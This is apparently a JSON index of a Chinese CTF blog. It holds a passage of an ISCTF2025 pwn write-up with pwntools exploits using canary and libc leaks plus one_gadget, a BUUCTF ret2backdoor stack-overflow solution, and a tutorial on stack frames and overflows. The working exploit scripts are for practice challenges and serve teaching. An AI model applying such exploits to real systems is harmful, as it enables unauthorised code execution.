0x16e7 io.recvuntil(b\u0026#39;AAB\u0026#39;) libc_leak = int(io.recv(14).decode(\u0026#39;utf-8\u0026#39;), 16) __libc_start_main = libc.symbols[\u0026#39;__libc_start_main\u0026#39;] libc_base = libc_leak + 0x30 - __libc_start_main log.info(f\u0026#39;canary = {hex(u64(canary))}\u0026#39;) log.info(f\u0026#39;pie_base = {hex(pie_base)}\u0026#39;) log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) one_gadget = p64(libc_base + 0xebc88) bss_addr = p64(pie_base + 0x4300) io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) io.sendline(b\u0026#39;2\u0026#39;) payload = b\u0026#39;A\u0026#39; * (0x10 + 6) + canary + bss_addr + one_gadget io.send(str(len(payload)).encode()) io.send(payload) io.interactive() ezcanary checksec IDA 溢出长度够长\none_gadget 攻击思路 溢出到 TLS 覆盖 canary 即可，然后 ret2libc + one_gadget\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * context.arch = \u0026#39;amd64\u0026#39; context.log_level = \u0026#39;debug\u0026#39; elf = ELF(\u0026#39;./pwn\u0026#39;) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) io = remote(\u0026#39;challenge.bluesharkinfo.com\u0026#39;, 23249) io.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;) payload = b\u0026#39;A\u0026#39; * (0x158 - 1) + b\u0026#39;B\u0026#39; * 1 io.send(payload) io.recvuntil(b\u0026#39;AAAAB\u0026#39;) pthread_create = libc.symbols[\u0026#39;pthread_create\u0026#39;] libc_pthread_create_sub_17d = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) libc_base = libc_pthread_create_sub_17d - pthread_create + 0x17d log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) one_gadget = p64(libc_base + 0xebc85) io.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\\n\u0026#39;) payload = b\u0026#39;A\u0026#39; * 0x110 + p64(0x404300) + one_gadget + b\u0026#39;A\u0026#39; * (0x908 - 0x118) + p64(0x404600) payload += b\u0026#39;A\u0026#39; * (0x1000 - len(payload)) io.send(payload) io.interactive() ","date":"2025-12-05T12:17:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/contest/isctf-2025-pwn-wp/","title":"ISCTF2025-pwn WriteUp"},{"content":"题目 题目链接\nchecksec IDA 很显然，由于 nbytes 可以被赋予一个较大的值，使得 buf 可以被溢出。\nbackdoor 思路 利用的栈溢出漏洞覆盖函数返回地址，使之返回到这个后门函数提权即可。\n附一个图示：\n根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击，由于需要栈对齐，其中，backdoor_addr = 0x4006ea ，而不是 backdoor_addr = 0x4006e6\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; p = process(\u0026#39;./bjdctf_2020_babystack\u0026#39;) p.recvuntil(b\u0026#39;name:\\n\u0026#39;) payload = b\u0026#39;40\u0026#39; p.sendline(payload) p.recvuntil(b\u0026#39;name?\\n\u0026#39;) backdoor_addr = p64(0x4006ea) payload = b\u0026#39;A\u0026#39; * (16 + 8) + backdoor_addr p.sendline(payload) p.interactive() ","date":"2025-10-29T12:17:00Z","image":"https://pic.ratherhard.com/random/rd4.png","permalink":"/post/ctf-pwn/buuctf/bjdctf-2020-babystack/","title":"BUUCTF-bjdctf_2020_babystack 题解"},{"content":"栈帧 什么是栈帧 函数栈帧 (stack frame) 就是函数调用过程中程序的调用栈 (call stack) 所开辟的空间，这些空间是用来存放：\n函数参数和函数返回值\n临时变量（包括函数的非静态的局部变量以及编译器自动生产的其他临时变量）\n保存上下文信息（包括在函数调用前后需要保持不变的寄存器）\n栈帧结构 栈从高地址向低地址生长，而在 x86 架构下数据则以小端序写入：高位字节放高地址端，低位字节放低地址端，可以理解为从低地址向高地址生长。\n所以，栈顶在低地址处，栈基在高地址处。\n主调函数进行函数调用时，一般会在紧贴主调函数栈帧下方建立一个新的栈帧。\n重要指针寄存器 栈指针： sp ，指向栈顶， push 指令会使 sp 下移， pop 指令会使 sp 上移。\n帧指针： bp ，指向当前函数栈帧的基，指向的位置用于保存当前函数的主调函数的帧指针。\n指令指针： ip ，是计算机处理器中用于存储下一条待执行指令内存地址的寄存器。\n注意，栈指针与帧指针正常情况下均应指向某个单位内存的最低地址处。\n32 位栈帧结构 64 位栈帧结构 64 位下，函数的前 6 个参数会存放在寄存器中，从第一个参数开始依次存入寄存器 rdi ， rsi ， rdx ， rcx ， r8 ， r9 中。\n接下来的讨论默认为 64 位的情形。\n栈相关汇编机制 pop 与 push push x ：将 x 压入栈中（本质上是覆盖栈中数据），先使 rsp 下移 8 字节，再将内存单元 x （寄存器或内存地址）的值复制入此时 rsp 所指位置，等价于 sub rsp, 0x8; mov [rsp], x\npop x ：弹出栈顶（实际上不会删除原栈顶数据）将栈顶的值，即 rsp 所指位置的值复制入 x （寄存器或内存地址）中，并使 rsp 上移 8 字节，等价于 mov x, [rsp]; add rsp, 0x8\ncall 与 leave 与 ret call x ：本质上是 jump 指令，但会将本语句的下一条语句的地址 push 到栈中，等价于 push (rip + 指令长度); jump x\nleave ：清除该函数栈帧（实际上不会处理栈中残余数据），等价于 mov rsp, rbp; pop rbp 执行后\nret ：函数返回，等价于 pop rip\n函数序言 函数序言 (Function Prologue) 是函数开始时的一段标准汇编代码，用于建立函数的执行环境，通常包含对栈的操作，例：\n1 2 3 4 5 ; 函数序言 push rbp ; 保存调用者的栈基指针 mov rbp, rsp ; 设置当前函数的栈基指针 sub rsp, 0x20 ; 为局部变量分配栈空间（32字节） push rbx ; 保存被调用者保存的寄存器 寄存器使用约定 程序寄存器组是唯一能被所有函数共享的资源。虽然某一时刻只有一个函数在执行，但需保证当某个函数调用其他函数时，被调函数不会修改或覆盖主调函数稍后会使用到的寄存器值。因此， IA32 采用一套统一的寄存器使用约定，所有函数（包括库函数）调用都必须遵守该约定。\n根据惯例，寄存器 rax 、 rdx 和 rcx 为主调函数保存寄存器 (caller-saved registers) ，当函数调用时，若主调函数希望保持这些寄存器的值，则必须在调用前显式地将其保存在栈中；被调函数可以覆盖这些寄存器，而不会破坏主调函数所需的数据。寄存器 rbx 、 rsi 和 rdi 为被调函数保存寄存器 (callee-saved registers) ，即被调函数在覆盖这些寄存器的值时，必须先将寄存器原值压入栈中保存起来，并在函数返回前从栈中恢复其原值，因为主调函数可能也在使用这些寄存器。此外，被调函数必须保持寄存器 rbp 和 rsp ，并在函数返回后将其恢复到调用前的值，亦即必须恢复主调函数的栈帧。\n当然，这些工作都由编译器在幕后进行。不过在编写汇编程序时应注意遵守上述惯例。\n栈溢出漏洞 栈溢出介绍 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。此外，我们也不难发现，发生栈溢出的基本前提是：\n程序必须向栈上写入数据。\n写入的数据大小没有被良好地控制。\n栈溢出利用思路 寻找危险函数 通过寻找危险函数，我们快速确定程序是否可能有栈溢出，以及有的话，栈溢出的位置在哪里。常见的危险函数如下：\n输入 gets : 直接读取一行，忽略\u0026rsquo;\\x00' scanf : 用于从标准输入（如键盘）读取数据并存储到指定变量\n输出 sprintf : 输出格式化字符串到缓冲区\n字符串 strcpy : 字符串复制，遇到\u0026rsquo;\\x00\u0026rsquo;停止 strcat : 字符串拼接，遇到\u0026rsquo;\\x00\u0026rsquo;停止 bcopy : 内存拷贝\n确定填充长度 这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA ，根据其给定的地址计算偏移。一般变量会有以下几种索引模式：\n相对于栈基地址的的索引，可以直接通过查看与 rbp 的相对偏移获得\n相对应栈顶指针的索引，一般需要进行调试，之后还是会转换到第一种类型。\n直接地址索引，就相当于直接给定了地址。\n一般来说，我们会有如下的覆盖需求：\n覆盖函数返回地址，这时候就是直接看 rbp 即可。\n覆盖栈上某个变量的内容，这时候就需要更加精细的计算了。\n覆盖 bss 段某个变量的内容。\n根据现实执行情况，覆盖特定的变量或地址的内容。\n之所以我们想要覆盖某个地址，是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流。\n","date":"2025-10-27T16:07:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/stack-frame-and-overflow/","title":"栈帧结构和栈溢出漏洞"}]